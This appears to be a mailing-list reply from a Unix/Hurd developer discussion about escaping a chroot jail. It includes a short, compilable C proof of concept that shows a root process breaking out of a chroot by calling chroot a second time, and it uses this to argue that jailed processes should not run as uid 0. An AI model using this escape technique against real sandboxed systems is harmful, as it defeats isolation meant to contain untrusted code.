[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: Different roots for each process possible?



Roland McGrath <frob@debian.org> writes:

> > On most systems, I believe the easiest way of breaking a chroot jail as
> > root is:
> > 
> > mkdir("whatever");
> > /* lower the roof of the jail */
> > chroot("whatever");
> > /* we are now above the roof, and can fly away */
> > chdir("../../../..");
> 
> This case was previously discussed here.  This circumvention works on the
> Hurd too, and it makes perfect sense that both Unix and the Hurd work this
> way.  That's why chroot should always be followed by chdir("/").

Bad code can still use the above sequence to escape after the chdir.
Ready-to-compile example (dirty, without any error-checking):

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main()
{
  struct stat buf;
  mkdir("jail", 0700);
  chroot("jail");
  chdir("/");
  stat("/", &buf);
  printf("root inode is %ld\n", buf.st_ino);

  /* end of good code, now comes code choosen by the baddie */

  mkdir("xyzzy", 0700);
  chroot("xyzzy");
  stat("/", &buf);
  printf("root inode is now %ld\n", buf.st_ino);
  chroot("../../../../../../../../../..");
  stat("/", &buf);
  printf("root inode is now %ld, hello freedom!\n", buf.st_ino);
  return 0;
}

Morale of the story: keeping a uid=0 process in a chroot jail is
moderately pointless. Give it a higher uid, too.

Something like POSIX capabilities for the Hurd would be of some
interest.

-- 
Robbe

Attachment: signature.ng
Description: PGP signature


Reply to: